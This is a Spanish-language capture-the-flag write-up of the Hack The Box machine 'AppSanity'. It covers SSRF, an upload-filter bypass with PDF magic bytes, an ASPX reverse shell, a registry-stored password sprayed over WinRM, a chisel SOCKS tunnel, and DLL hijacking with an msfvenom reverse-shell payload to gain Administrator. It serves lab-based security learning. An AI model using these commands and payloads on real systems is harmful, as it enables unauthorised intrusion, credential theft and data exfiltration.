Table of Contents
Hack The Box: AppSanity Writeup
Welcome to my detailed writeup of the hard difficulty machine “AppSanity” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1$ rustscan -a 10.129.196.198 --ulimit 5000 -g
210.129.196.198 -> [80,443,5985]
1$ nmap -p80,443,5985 -sCV 10.129.196.198 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-12 17:44 CEST
3Nmap scan report for 10.129.196.198
4Host is up (0.12s latency).
5
6PORT STATE SERVICE VERSION
780/tcp open http Microsoft IIS httpd 10.0
8|_http-title: Did not follow redirect to https://meddigi.htb/
9|_http-server-header: Microsoft-IIS/10.0
10443/tcp open https?
115985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
12|_http-server-header: Microsoft-HTTPAPI/2.0
13|_http-title: Not Found
14Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
15
16Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
17Nmap done: 1 IP address (1 host up) scanned in 52.89 seconds
UDP Enumeration
1$ sudo nmap --top-ports 1500 10.129.196.198 -sU --min-rate 5000 -n -Pn -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-12 17:46 CEST
3Nmap scan report for 10.129.196.198
4Host is up.
5All 1500 scanned ports on 10.129.196.198 are in ignored states.
6Not shown: 1500 open|filtered udp ports (no-response)
7
8Nmap done: 1 IP address (1 host up) scanned in 2.38 seconds
Del escaneo inicial encontramos el dominio meddigi.htb
, lo añadimos al /etc/hosts
Analizing SSL Certificate
Vemos que está abierto el puerto 443.
Podemos analizar el certificado SSL con openssl
de la siguiente manera.
1$ openssl s_client -showcerts -connect meddigi.htb:443
No encontramos nada relevante.
HTTP/S Enumeration
Vamos a empezar enumerando el sitio web.
Con whatweb
Podemos ver que ocurre una redirección al servicio HTTPS y encontramos un usuario support
que no creo que sea relevante, y también podemos ver que el servidor web es un IIS y se está utilizando ASP.NET por detrás.
1$ whatweb http://meddigi.htb
2http://meddigi.htb [302 Found] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[10.129.196.198], Microsoft-IIS[10.0], RedirectLocation[https://meddigi.htb/], Title[Document Moved]
3https://meddigi.htb/ [200 OK] Bootstrap, Cookies[.AspNetCore.Mvc.CookieTempDataProvider], Country[RESERVED][ZZ], Email[support@meddigi.htb], HTML5, HTTPServer[Microsoft-IIS/10.0], HttpOnly[.AspNetCore.Mvc.CookieTempDataProvider], IP[10.129.196.198], JQuery, Microsoft-IIS[10.0], Script, Strict-Transport-Security[max-age=2592000], Title[MedDigi]
Así se ve el sitio web.
Encontramos un formulario de contacto que parece que es funcional.
También bajo /signin
encontramos un formulario de inicio de sesión.
Bajo signup
podemos crearnos una cuenta.
Nos podemos crear una cuenta perfectamente.
Parece que podemos enviar un mensaje a nuestros doctores asignados pero no tenemos ninguno.
JWT Analysis
Podemos analizar nuestro token JWT, vemos dos cosas interesantes. Uno el campo unique_name
cuyo valor es “7”, quiero pensar que esto es un campo que se refiere a nuestro ID de usuario, por lo cual podemos suponer que existen otros 6 usuarios mas.
Y otra cosa interesante es el campo aud
cuyo valor parece que se refiere a un rol llamadoMedDigiUser
.
Quizás exista MedDigiAdmin
u otros roles.
Abusing Broken Access Control
Al capturar la petición de registro de usuario con burpsuite
encontramos lo siguiente.
Parece que Acctype
se refiere a Account Type
, es decir, el tipo de cuenta.
Si intentamos cambiar este valor a 0 da un error de registro, pero si lo cambiamos a 2…
Parece que podemos crearnos una cuenta como Doctor.
Podemos añadir a un paciente para supervisarlo.
En la cuenta de usuario se ve así..
Si mandamos el mensaje no nos llega ninguna notificación, así que supongo que se mandará a otra parte que todavía no he descubierto.
VHost Fuzzing
Fuzzeando subdominios con wfuzz
encontramos uno.
1$ wfuzz --hh=315 -c -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.t
2xt -H 'Host: FUZZ.meddigi.htb' https://meddigi.htb
3....
4=====================================================================
5ID Response Lines Word Chars Payload
6=====================================================================
7
8000000048: 200 56 L 162 W 2976 Ch "portal"
Lo añadimos al /etc/hosts
Parece que es un panel de autenticación pero en vez de contraseña me pide un número de referencia.
JWT Reuse
Después de un rato, probé a reutilizar el token JWT de la https://meddigi.htb/Profile
de mi cuenta de Doctor en este panel.
Y al refrescar podemos ver que funiona.
Exploring portal.meddigi.htb
Vemos varias características de este portal, una de ellas es poder reservar fecha para examinar a un paciente supongo.
Podemos ver otra funcionalidad para realizar prescripciones de medicamentos, se realiza una comprobación donde no se pueden utilizar caracteres especiales.
La comprobación se hace en el lado del servidor.
También podemos ver las prescripciones pero no encontramos nada interesante.
Y tenemos una cosa interesante. Podemos listar el contenido de un sitio web, en este caso, de mi máquina utilizando el módulo http.server
de python
Server-Side Request Forgery
Podemos probar a realizar un Server-Side Request Forgery y parece que podemos apuntar a recursos internos del sistema.
Rápidamente me doy cuenta que ponga lo que ponga me lleva a esa página, por lo cual tiene pinta de que a lo mejor no se acontece el SSRF.
Keep Enumerating
Encontramos un formulario para solicitar equipamiento, quizás podamos insertar un código Javascript malicioso (XSS) algún departamento en específico.
Encontramos otro formulario para subir un reporte de un paciente.
Solo se permiten subir documentos PDF.
Parece que este formulario se envía a algún manager.
Server-Side Request Forgery (again)
Investigando el supuesto SSRF de antes, encontré que si nos dirigimos a un sitio que no existe parece que internamente se hace una redirección.
Se nos redirecciona a /Error
Y este sitio me redirecciona otra vez a la página principal, ahora tiene sentido que ponga lo que ponga, si no existe, nos va a redireccionar al panel principal de doctor.
Sin embargo cuando el recurso existe me responde con un 200 OK.
Por lo cual, con el Intruder de burpsuite
podemos realizar un “fuzzeo” para descubrir puertos internos.
Utilizando HTTP encontramos abierto el puerto 8080.
Aunque nos reporta que el hostname
no es válido.
Utilizando la dirección de loopack vemos un recurso interno.
Podemos intentar subir un recurso utilizando el formulario de reportes anteriormente encontrado.
Y vemos una cosa interesante, y es el link del recurso PDF que he subido.
Si intentamos cargar el PDF a través del navegador se nos redirecciona al panel principal, pero podemos ver el PDF a través del SSRF.
Bypassing File Upload Filter + SSRF -> Foothold
Algo que se me ocurre es, ya que el PDF se nos reporta en “texto plano” es intentar subir un PDF modificado con algo de código ASPX para ver si se interpreta.
Después de estar un rato, conseguí subir el PDF modificado pero utilizando los magic numbers de PDF.
Y aquí tenemos el PDF modificado, ahora vamos a intentar insertar texto.
Y al insertar un snippet ASP.NET vemos que el SSTI no ocurre.
Podemos intentar con estos magic number subir el archivo ASPX para mantener la extensión y entonces que sea interpretado por el servidor.
Este es el archivo de prueba para intentar mostrar la fecha actual, esto solo lo quiero hacer para comprobar que conseguimos que se interprete el código.
<%@ Page Language="C#" %>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title>Mostrar Fecha Actual</title>
</head>
<body>
<form id="form1" runat="server">
<div>
La fecha y hora actual es:
<%
// Mostrar la fecha y hora actual directamente en el ASPX
Response.Write(DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss"));
%>
</div>
</form>
</body>
</html>
Cambiamos la extensión…
Y a parte de ver que el archivo mantiene la extensión ASPX, vemos que se interpreta el código y me muestra la fecha.
Sabiendo esto, podemos buscar una revshell en Google, la primera que vemos..
Cambiamos el host y el puerto de a donde queremos mandar la shell.
Y ahora si cargamos el archivo.
Y estamos en escucha con netcat
por el puerto 443 conseguimos una consola como el usuario svc_exampanel
.
1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.104] from (UNKNOWN) [10.129.196.198] 52610
4Spawn Shell...
5Microsoft Windows [Version 10.0.19045.3570]
6(c) Microsoft Corporation. All rights reserved.
7
8c:\windows\system32\inetsrv>whoami
9whoami
10appsanity\svc_exampanel
Podemos ver la flag del usuario.
1C:\Users\svc_exampanel\Desktop>type user.txt
2type user.txt
311e36d712177...
User Pivoting
Podemos ver otros usuarios en el sistema como svc_meddigiportal
, devdoc
y svc_meddigi
1User accounts for \\APPSANITY
2
3-------------------------------------------------------------------------------
4Administrator DefaultAccount devdoc
5Guest svc_exampanel svc_meddigi
6svc_meddigiportal WDAGUtilityAccount
7The command completed successfully.
Analyzing SQLite Databases (nothing)
En C:\inetpub\Databases
encontramos un archivo meddigi.db
y examinfo.db
, podemos compartirnos estos ficheros en nuestra máquina para analizarlos.
1C:\inetpub\Databases>dir
2dir
3 Volume in drive C has no label.
4 Volume Serial Number is F854-971D
5
6 Directory of C:\inetpub\Databases
7
809/12/2024 08:47 AM <DIR> .
909/12/2024 08:47 AM <DIR> ..
1009/12/2024 08:47 AM 20,480 examinfo.db
1109/24/2023 01:21 PM 32,768 meddigi.db
1209/12/2024 08:35 AM 32,768 meddigi.db-shm
1309/12/2024 08:35 AM 0 meddigi.db-wal
14 4 File(s) 86,016 bytes
15 2 Dir(s) 3,961,602,048 bytes free
Podemos hacer esto sirviendo un servidor SMB.
1$ sudo impacket-smbserver -smb2support smbFolder .
Podemos comprobar que los dos archivos son bases de datos SQLite.
1$ file examinfo.db && file meddigi.db
2examinfo.db: SQLite 3.x database, last written using SQLite version 3040001, writer version 2, read version 2, file counter 2, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 2
3meddigi.db: SQLite 3.x database, last written using SQLite version 3040001, writer version 2, read version 2, file counter 2, database pages 8, cookie 0x5, schema 4, UTF-8, version-valid-for 2
Y ahora nos podemos copiar los ficheros a nuestra máquina.
1C:\inetpub\Databases>copy examinfo.db \\10.10.14.104\smbFolder\examinfo.db
2copy examinfo.db \\10.10.14.104\smbFolder\examinfo.db
3 1 file(s) copied.
4
5C:\inetpub\Databases>copy meddigi.db \\10.10.14.104\smbFolder\meddigi.db
6copy meddigi.db \\10.10.14.104\smbFolder\meddigi.db
7 1 file(s) copied.
En meddigi.db
no encontramos ningún usuario y ningún hash.
1sqlite> .tables
2Prescriptions Users
3Supervisings __EFMigrationsHistory
4sqlite> select * from Users;
55|test|test|test@test.test|AQAAAAEAACcQAAAAEJ1m+P+bFJCdZQbHOnRvldPNLZpFzOpPU4zxJg5uKTG32F+gCQ83b13abR2rdWInBA==|2023-09-25 00:00:00|1111111111|aaa|2
Tampoco encontramos nada relevante de examinfo.db
1sqlite> select * from Examinations
2 ...> ;
315|DJKgKK+DHythmQCyVqr4Dg==|tvuiIEVoaY6SiEIZoosODQ==|g2lnzIdm1t2bvLettMyCiQ==|rnhF1fXLeJSFWrTzhIWCeg==|rNy6SUd1FtDf5RFjxgvu/Q==|2023-11-09 00:00:00|eefeccb8-4c86-45b4-a38d-81754324a11b_Cardiology_Report_1.pdf
Cracking NTLMv2 hash (failed)
Como somos dueños del servicio del este panel, podemos acceder a sus ficheros y hurgar un poco bajo la ruta C:\inetpub\ExaminationPanel\ExaminationPanel
Antes de eso, podemos intentar crackear el hash NTLMv2 con john
.
Pero no conseguimos nada.
1$ john -w=/usr/share/wordlists/rockyou.txt hash
2Using default input encoding: UTF-8
3Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
4Will run 4 OpenMP threads
5Press 'q' or Ctrl-C to abort, almost any other key for status
60g 0:00:00:07 DONE (2024-09-12 19:57) 0g/s 2008Kp/s 2008Kc/s 2008KC/s !)(OPPQR..*7¡Vamos!
7Session completed.
Decompiling .NET DLL + Retrieving Registry Key
En el fichero bin
encontramos los archivos del servicio web.
1C:\inetpub\ExaminationPanel\ExaminationPanel\bin>dir 19:58:42 [0/2706]
2dir
3 Volume in drive C has no label.
4 Volume Serial Number is F854-971D
5
6 Directory of C:\inetpub\ExaminationPanel\ExaminationPanel\bin
7
809/26/2023 07:30 AM <DIR> .
909/26/2023 07:30 AM <DIR> ..
1009/24/2023 08:46 AM 4,991,352 EntityFramework.dll
1109/24/2023 08:46 AM 591,752 EntityFramework.SqlServer.dll
1209/24/2023 08:46 AM 13,824 ExaminationManagement.dll
1309/24/2023 08:46 AM 40,168 Microsoft.CodeDom.Providers.DotNetCompilerPlatform.dll
1409/24/2023 08:49 AM <DIR> roslyn
1509/24/2023 08:46 AM 431,792 System.Data.SQLite.dll
1609/24/2023 08:46 AM 206,512 System.Data.SQLite.EF6.dll
1709/24/2023 08:46 AM 206,520 System.Data.SQLite.Linq.dll
1809/24/2023 08:49 AM <DIR> x64
1909/24/2023 08:49 AM <DIR> x86
20 7 File(s) 6,481,920 bytes
21 5 Dir(s) 3,961,618,432 bytes free
El único DLL que me llama la atención es ExaminationManagement.dll
ya que los demás son drivers de SQLServer y SQLite.
Nos copiamos el archivo.
1:\inetpub\ExaminationPanel\ExaminationPanel\bin>copy ExaminationManagement.dll \\10.10.14.104\smbFolder\ExaminationManagement.dll
2copy ExaminationManagement.dll \\10.10.14.104\smbFolder\ExaminationManagement.dll
3 1 file(s) copied.
Ahora vamos a descompilarlo con dotpeek
.
nos vamos a copiar el DLL a nuestra máquina anfitriona (solo si utilizamos máquina virtual)
Encontramos una función llamada RetrieveEncryptionKeyFromRegistry()
1private string RetrieveEncryptionKeyFromRegistry()
2 {
3 try
4 {
5 using (RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("Software\\MedDigi"))
6 {
7 if (registryKey == null)
8 {
9 ErrorLogger.LogError("Registry Key Not Found");
10 this.Response.Redirect("Error.aspx?message=error+occurred");
11 return (string) null;
12 }
13 object obj = registryKey.GetValue("EncKey");
14 if (obj != null)
15 return obj.ToString();
16 ErrorLogger.LogError("Encryption Key Not Found in Registry");
17 this.Response.Redirect("Error.aspx?message=error+occurred");
18 return (string) null;
19 }
20 }
21 catch (Exception ex)
22 {
23 ErrorLogger.LogError("Error Retrieving Encryption Key", ex);
24 this.Response.Redirect("Error.aspx?message=error+occurred");
25 return (string) null;
26 }
27 }
Donde recupera una clave de registro en Software\\MedDigi
para utilizar como clave para encriptar/desencriptar los reportes de los pacientes.
Podemos recuperar esta clave de encriptación y vemos una credencial.
1C:\inetpub\ExaminationPanel\ExaminationPanel\bin>reg query HKLM\Software\MedDigi
2
3reg query HKLM\Software\MedDigi
4
5HKEY_LOCAL_MACHINE\Software\MedDigi
6 EncKey REG_SZ 1g0tTh3R3m3dy!!
Para probar esta credencial podemos utilizarla con nxc
contra todos los usuarios ya que está el puerto 5985/TCP abierto.
$ nxc winrm 10.129.196.198 -u users.txt -p '1g0tTh3R3m3dy!!' --continue-on-success
WINRM 10.129.196.198 5985 APPSANITY [*] Windows 10 / Server 2019 Build 19041 (name:APPSANITY) (domain:Appsanity)
WINRM 10.129.196.198 5985 APPSANITY [-] Appsanity\ianc:1g0tTh3R3m3dy!!
WINRM 10.129.196.198 5985 APPSANITY [-] Appsanity\johnd:1g0tTh3R3m3dy!!
WINRM 10.129.196.198 5985 APPSANITY [-] Appsanity\marym:1g0tTh3R3m3dy!!
WINRM 10.129.196.198 5985 APPSANITY [-] Appsanity\sarahh:1g0tTh3R3m3dy!!
WINRM 10.129.196.198 5985 APPSANITY [-] Appsanity\svc_exampanel:1g0tTh3R3m3dy!!
WINRM 10.129.196.198 5985 APPSANITY [-] Appsanity\svc_meddigiportal:1g0tTh3R3m3dy!!
WINRM 10.129.196.198 5985 APPSANITY [+] Appsanity\devdoc:1g0tTh3R3m3dy!! (Pwn3d!)
WINRM 10.129.196.198 5985 APPSANITY [-] Appsanity\svc_meddigi:1g0tTh3R3m3dy!!
Y encontramos que la credencial es válida para el usuario devdoc
.
Ahora con evil-winrm
podemos conseguir una consola como devdoc
1$ evil-winrm -i 10.129.196.198 -u 'devdoc' -p '1g0tTh3R3m3dy!!'
2
3Evil-WinRM shell v3.5
4
5Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
6
7Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
8
9Info: Establishing connection to remote endpoint
10*Evil-WinRM* PS C:\Users\devdoc\Documents> whoami
11appsanity\devdoc
Privilege Escalation
devdoc
no tiene ningún privilegio interesante.
1PRIVILEGES INFORMATION
2----------------------
3
4Privilege Name Description State
5============================= ==================================== =======
6SeShutdownPrivilege Shut down the system Enabled
7SeChangeNotifyPrivilege Bypass traverse checking Enabled
8SeUndockPrivilege Remove computer from docking station Enabled
9SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
10SeTimeZonePrivilege Change the time zone Enabled
Tampoco pertenece a ningún grupo especial.
1GROUP INFORMATION
2-----------------
3
4Group Name Type SID Attributes
5====================================== ================ ============ ==================================================
6Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
7BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
8BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
9NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
10NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
11NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
12NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
13NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
14Mandatory Label\Medium Mandatory Level Label S-1-16-8192
Enumerando los archivos del sistema encontramos el directorio ReportManagement
, me llama la atención ya que parece un programa personalizado.
1*Evil-WinRM* PS C:\Program Files> dir
2
3
4 Directory: C:\Program Files
5
6
7Mode LastWriteTime Length Name
8---- ------------- ------ ----
9d----- 9/15/2023 7:36 AM Common Files
10d----- 9/15/2023 8:16 AM dotnet
11d----- 9/15/2023 8:16 AM IIS
12d----- 10/23/2023 12:17 PM Internet Explorer
13d----- 9/17/2023 3:23 AM Microsoft Update Health Tools
14d----- 12/7/2019 1:14 AM ModifiableWindowsApps
15d----- 10/20/2023 12:42 PM ReportManagement
16d----- 10/23/2023 4:59 PM RUXIM
17d----- 9/15/2023 7:36 AM VMware
18d----- 10/23/2023 12:17 PM Windows Defender
19d----- 10/23/2023 12:17 PM Windows Defender Advanced Threat Protection
20d----- 10/23/2023 12:17 PM Windows Mail
21d----- 12/7/2019 1:54 AM Windows Multimedia Platform
22d----- 12/7/2019 1:50 AM Windows NT
23d----- 10/23/2023 12:17 PM Windows Photo Viewer
24d----- 12/7/2019 1:54 AM Windows Portable Devices
25d----- 12/7/2019 1:31 AM Windows Security
26d----- 12/7/2019 1:31 AM WindowsPowerShell
Encontramos varios archivos DLL.
1*Evil-WinRM* PS C:\Program Files\ReportManagement> dir
2
3
4 Directory: C:\Program Files\ReportManagement
5
6
7Mode LastWriteTime Length Name
8---- ------------- ------ ----
9d----- 10/23/2023 11:33 AM Libraries
10-a---- 5/5/2023 5:21 AM 34152 cryptbase.dll
11-a---- 5/5/2023 5:21 AM 83744 cryptsp.dll
12-a---- 3/11/2021 9:22 AM 564112 msvcp140.dll
13-a---- 9/17/2023 3:54 AM 140512 profapi.dll
14-a---- 10/20/2023 2:56 PM 102912 ReportManagement.exe
15-a---- 10/20/2023 1:47 PM 11492864 ReportManagementHelper.exe
16-a---- 3/11/2021 9:22 AM 96144 vcruntime140.dll
17-a---- 3/11/2021 9:22 AM 36752 vcruntime140_1.dll
18-a---- 5/5/2023 5:21 AM 179248 wldp.dll
No tenemos permiso de escritura en este directorio.
1*Evil-WinRM* PS C:\Program Files\ReportManagement> icacls .
2. CREATOR OWNER:(OI)(CI)(IO)(F)
3 NT AUTHORITY\SYSTEM:(OI)(CI)(F)
4 BUILTIN\Administrators:(OI)(CI)(F)
5 BUILTIN\Users:(OI)(CI)(R)
6 APPSANITY\devdoc:(RX)
7 NT SERVICE\TrustedInstaller:(CI)(F)
8 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(RX)
9 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(OI)(CI)(RX)
10
11Successfully processed 1 files; Failed processing 0 files
Pero es muy interesante ya que tenemos permisos de escritura en el directorio Libraries
1*Evil-WinRM* PS C:\Program Files\ReportManagement> icacls Libraries
2Libraries APPSANITY\devdoc:(OI)(CI)(RX,W)
3 BUILTIN\Administrators:(I)(F)
4 CREATOR OWNER:(I)(OI)(CI)(IO)(F)
5 NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
6 BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
7 BUILTIN\Users:(I)(OI)(CI)(R)
8 NT SERVICE\TrustedInstaller:(I)(CI)(F)
9 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(RX)
10 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(RX)
11
12Successfully processed 1 files; Failed processing 0 files
Podemos acceder al ejecutable ReportManagement.exe
pero no al ReportManagementHelper.exe
1*Evil-WinRM* PS C:\Program Files\ReportManagement> icacls ReportManagement.exe
2ReportManagement.exe APPSANITY\devdoc:(DENY)(W,X)
3 NT AUTHORITY\SYSTEM:(F)
4 BUILTIN\Administrators:(F)
5 APPSANITY\devdoc:(R)
6
7Successfully processed 1 files; Failed processing 0 files
8*Evil-WinRM* PS C:\Program Files\ReportManagement> icacls ReportManagementHelper.exe
9icacls.exe : ReportManagementHelper.exe: Access is denied.
10 + CategoryInfo : NotSpecified: (ReportManagemen...cess is denied.:String) [], RemoteException
11 + FullyQualifiedErrorId : NativeCommandError
12Successfully processed 0 files; Failed processing 1 files
Podemos con Get-Process
detectar que existe un proceso con el nombre de este programa.
Por lo cual seguramente exista algún puerto (o no) con el cual interactúe este proceso.
Reverse Proxy with chisel
Encontramos varios puertos abiertos.
1*Evil-WinRM* PS C:\Program Files\ReportManagement> netstat -ano
2
3Active Connections
4
5 Proto Local Address Foreign Address State PID
6 TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4
7 TCP 0.0.0.0:100 0.0.0.0:0 LISTENING 5316
8 TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 912
9 TCP 0.0.0.0:443 0.0.0.0:0 LISTENING 4
10 TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
11 TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING 5468
12 TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
13 TCP 0.0.0.0:8080 0.0.0.0:0 LISTENING 4
14 TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4
15 TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 692
16 TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 548
17 TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 1076
18 TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 1676
19 TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING 672
20 TCP 10.129.196.198:139 0.0.0.0:0 LISTENING 4
21 TCP 10.129.196.198:5985 10.10.14.104:35274 TIME_WAIT 0
22 TCP 10.129.196.198:5985 10.10.14.104:40406 TIME_WAIT 0
23 TCP 10.129.196.198:5985 10.10.14.104:52898 TIME_WAIT 0
24 TCP 10.129.196.198:5985 10.10.14.104:52902 ESTABLISHED 4
25 TCP 10.129.196.198:5985 10.10.14.104:57648 TIME_WAIT 0
26 TCP 10.129.196.198:52610 10.10.14.104:443 ESTABLISHED 5396
Me llaman la atención varios puertos, así que con chisel
vamos a hacer un Proxy Inverso para poder interactuar con estos puertos internos.
Con la función interna upload
de evil-winrm
podemos subir el chisel.exe
.
1*Evil-WinRM* PS C:\ProgramData> upload ../content/chisel.exe
2
3Info: Uploading /home/pointedsec/Desktop/appsanity/scan/../content/chisel.exe to C:\ProgramData\chisel.exe
4
5Data: 12008104 bytes of 12008104 bytes copied
6
7Info: Upload successful!
En nuestra máquina de atacante nos ponemos en escucha por el puerto 1234.
1$ /opt/chisel/chisel server --reverse -p 1234
22024/09/12 20:23:26 server: Reverse tunnelling enabled
32024/09/12 20:23:26 server: Fingerprint Yjkz8ovZI0npCqsGaxv/qqBTSfCJckb+wWqdaLxUHUQ=
42024/09/12 20:23:26 server: Listening on http://0.0.0.0:1234
Ahora en la máquina víctima podemos compartirnos en forma de proxy de tipo socks los puertos de la máquina víctima.
1*Evil-WinRM* PS C:\ProgramData> .\chisel.exe client 10.10.14.104:1234 R:socks
2chisel.exe : 2024/09/12 09:24:49 client: Connecting to ws://10.10.14.104:1234
3 + CategoryInfo : NotSpecified: (2024/09/12 09:2....10.14.104:1234:String) [], RemoteException
4 + FullyQualifiedErrorId : NativeCommandError
52024/09/12 09:24:49 client: Connected (Latency 35.9469ms)
En el archivo /etc/proxychains.conf
podemos configurar como proxy el puerto 1080 de nuestra máquina local.
Ahora para hacer una prueba, podemos utilizar netexec
para comprobar el usuario que teníamos pero a través del SMB que recordemos que estaba cerrado.
[!NOTE] Recordar que ahora nuestra IP víctima es la dirección de loopback, ya que con
proxychains
los paquetes pasan a la máquina víctima a través del proxy y una vez están allí, como nos queremos dirigir a la misma máquina víctima podemos hacer esto con la dirección de loopback.
1$ proxychains nxc smb 127.0.0.1 -u users.txt -p '1g0tTh3R3m3dy!!' --continue-on-success 2>/dev/null
2ProxyChains-3.1 (http://proxychains.sf.net)
3SMB 127.0.0.1 445 APPSANITY [*] Windows 10 / Server 2019 Build 19041 x64 (name:APPSANITY) (domain:Appsanity) (signing:False) (SMBv1:False)
4SMB 127.0.0.1 445 APPSANITY [-] Appsanity\ianc:1g0tTh3R3m3dy!! STATUS_LOGON_FAILURE
5SMB 127.0.0.1 445 APPSANITY [-] Appsanity\johnd:1g0tTh3R3m3dy!! STATUS_LOGON_FAILURE
6SMB 127.0.0.1 445 APPSANITY [-] Appsanity\marym:1g0tTh3R3m3dy!! STATUS_LOGON_FAILURE
7SMB 127.0.0.1 445 APPSANITY [-] Appsanity\sarahh:1g0tTh3R3m3dy!! STATUS_LOGON_FAILURE
8SMB 127.0.0.1 445 APPSANITY [-] Appsanity\svc_exampanel:1g0tTh3R3m3dy!! STATUS_LOGON_FAILURE
9SMB 127.0.0.1 445 APPSANITY [-] Appsanity\svc_meddigiportal:1g0tTh3R3m3dy!! STATUS_LOGON_FAILURE
10SMB 127.0.0.1 445 APPSANITY [+] Appsanity\devdoc:1g0tTh3R3m3dy!!
11SMB 127.0.0.1 445 APPSANITY [-] Appsanity\svc_meddigi:1g0tTh3R3m3dy!! STATUS_LOGON_FAILURE
Y vemos que funciona.
Ahora si intentamos interactuar con el puerto 100.
¡Bingo!
1$ proxychains nc 127.0.0.1 100
2ProxyChains-3.1 (http://proxychains.sf.net)
3|S-chain|-<>-127.0.0.1:1080-<><>-127.0.0.1:100-<><>-OK
4Reports Management administrative console. Type "help" to view available commands.
Parece que es una consola administrativa que corresponde con el programa que habíamos encontrado.
Podemos ver varios comandos.
1help
2Available Commands:
3backup: Perform a backup operation.
4validate: Validates if any report has been altered since the last backup.
5recover <filename>: Restores a specified file from the backup to the Reports folder.
6upload <external source>: Uploads the reports to the specified external source.
Los comandos que mas me llaman la atención son recover
y upload
.
Pero no puedo ni leer el contenido de un archivo que no esté dentro del backup (que no se donde se realiza) y no podemos subir un fichero.
1recover C:\Windows\System32\drivers\etc\hosts
2Specified file not found in the backup directory.
3upload users.txt
4Failed to upload to external source.
Reversing ReportManagementHelper.exe
Vamos a descargar el ejecutable al que si que teníamos acceso.
1*Evil-WinRM* PS C:\Program Files\ReportManagement> download ReportManagement.exe
2
3Info: Downloading C:\Program Files\ReportManagement\ReportManagement.exe to ReportManagement.exe
4
5Info: Download successful!
Ahora con ghidra
podemos descompilar este ejecutable.
Encontramos que una de los namespaces principales es FUN_1400042b0
Investigando nos encontramos esta línea donde encontramos una string externalupload
Esto es interesante ya que recordemos que teníamos permisos de escritura en el directorio Libraries
y los tiros pueden ir por hacer un DLL Hijacking…
DLL Hijacking -> Privilege Escalation
Vamos a crear un DLL malicioso con msfconsole
para meterlo en Libraries
e intentar que el programa cargue el DLL malicioso y así nos mande una revshell.
1$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.104 LPORT=443 -f dll -o evil.dll
2[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
3[-] No arch selected, selecting arch: x64 from the payload
4No encoder specified, outputting raw payload
5Payload size: 460 bytes
6Final size of dll file: 9216 bytes
7Saved as: evil.dll
Ahora subimos el DLL como externalupload.dll
.
1*Evil-WinRM* PS C:\Program Files\ReportManagement\Libraries> copy \\10.10.14.104\smbFolder\evil.dll externalupload.dll
2*Evil-WinRM* PS C:\Program Files\ReportManagement\Libraries> dir
3
4
5 Directory: C:\Program Files\ReportManagement\Libraries
6
7
8Mode LastWriteTime Length Name
9---- ------------- ------ ----
10-a---- 9/12/2024 12:12 PM 9216 externalupload.dll
Ahora nos ponemos en escucha con netcat
por el puerto 443.
1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
Y si intentamos subir un archivo vemos que no me sale el error que me salía antes…
1$ proxychains nc 127.0.0.1 100
2ProxyChains-3.1 (http://proxychains.sf.net)
3|S-chain|-<>-127.0.0.1:1080-<><>-127.0.0.1:100-<><>-OK
4Reports Management administrative console. Type "help" to view available commands.
5upload /etc/hosts
6Attempting to upload to external source.
Y conseguimos una consola como Administrator
1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.104] from (UNKNOWN) [10.129.196.198] 53339
4Microsoft Windows [Version 10.0.19045.3570]
5(c) Microsoft Corporation. All rights reserved.
6
7C:\Program Files\ReportManagement>whoami
8whoami
9appsanity\administrator
Por lo cual ya hemos escalado privilegios y podemos leer la flag de root
.
1C:\Users\Administrator\Desktop>type root.txt
2type root.txt
38d7e7646883f9c...
